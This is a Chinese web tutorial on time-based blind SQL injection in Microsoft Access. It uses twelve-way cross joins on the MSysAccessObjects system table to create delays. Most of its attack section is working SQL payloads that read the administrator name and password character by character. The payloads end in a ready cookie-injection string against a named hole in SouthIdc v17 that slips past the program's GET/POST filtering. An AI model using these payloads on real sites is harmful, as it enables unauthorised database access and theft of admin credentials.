Access数据库基于时间sql盲注的实现记录_Access数据库教程

编辑Tag赚U币
教程Tag:暂无Tag,欢迎添加,赚取U币!

推荐:关闭Access2010数据库默认输入法的方法
1.打开Access2010,点击开始选项卡,选择选项 2.在打开的Access选项窗口中,在左边的菜单中选择客户端设置,在右边的窗口中将数据表IME控件勾选,确定即可,相关截图如下所示:

   Access是微软把数据库引擎的图形用户界面和软件开发工具结合在一起的一个数据库管理系统。本文我们来看看Access数据库基于时间sql盲注的实现记录。

  概述

  众所周知,access数据库是不支持基于时间的盲注方式,但是我们可以利用access的系统表MSysAccessObjects,通过多负荷查询(Heavy Queries)的方式实现。

  初步探究

  我们以SouthIdcv17数据库为例

  执行 select * from Southidc_About ,返回结果如下图。

Access数据库基于时间sql盲注的实现记录    模板无忧

  如何实现time base injection 呢?我们就要利用这条语句

  SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12

  具体实现方式如下:

  select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

  Southidc_Admin)=97

  我们可以执行一次,观察效果。

  很明显,经历了大约40s才返回结果

Access数据库基于时间sql盲注的实现记录

  当我们执行如下语句时,也就是把最后的97改为96

  select * from Southidc_About where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from

  Southidc_Admin)=96

Access数据库基于时间sql盲注的实现记录

  很快就执行完毕,没有延时。

  很明显,我们通过where条件后的

  (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6,

  MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0

  实现了延时,但需要注意的是这里where后的条件是有顺序的,实现延时的语句必须在

  1(select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=97

  之前,为什么呢?实验得出的结论。

  实例实现

  在SouthIdc 17 中,有一处sql注入漏洞,但是常规的方法并不能成功利用漏洞。漏洞代码如下:

Access数据库基于时间sql盲注的实现记录

  虽然程序把Post和Get的数据进行了过滤,但是我们依旧我可以通过Cookie的提交方式进行注入。

  好,我们实现一下注入利用。

  我们需要注入的语句为:

  select * from Southidc_"&request("Range")&"Sort where ViewFlag and ParentID="&ParentID&" order by ID asc

  通过提交cookie

  Range=DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_image

  ParentID为程序上部传进的值,最终的语句为:

  1select * from Southidc_DownSort where (SELECT count(*) FROM MSysAccessObjects AS T1, MSysAccessObjects AS T2, MSysAccessObjects AS T3, MSysAccessObjects AS T4, MSysAccessObjects AS T5, MSysAccessObjects AS T6, MSysAccessObjects AS T7,MSysAccessObjects AS T8,MSysAccessObjects AS T9,MSysAccessObjects AS T10,MSysAccessObjects AS T11,MSysAccessObjects AS T12)>0 and (select top 1 asc(mid(AdminName+Password,1,1)) from Southidc_Admin)=32 and 1=1 union select NULL,NULL,NULL,NULL,NULL,NULL from Southidc_imageSort where ViewFlag and ParentID=1

  我们可以在查询器中看一下效果

  96时,不延时,如图:

Access数据库基于时间sql盲注的实现记录

  97时延时,效果如下图:

Access数据库基于时间sql盲注的实现记录

  接下来,我们可以利用上述语句进行exp的编写,笔者这里用python

  核心代码如下:

Access数据库基于时间sql盲注的实现记录

分享:IIS中利用重定向URL来防止Access数据库被下载的方法
对于ASP+Access开发的网站,安全性最最让人担忧的就是Access数据库可以随意下载,当然我们可以通过一些修改数据库名称的手段进行尽量的防护,但归根结底是不彻底的。所以今天就来谈谈在IIS中利用重定向URL来防止Access数据库被下载的方法。 此方法需要你有IIS的管理权

来源:模板无忧//所属分类:Access数据库教程/更新时间:2015-02-10
相关Access数据库教程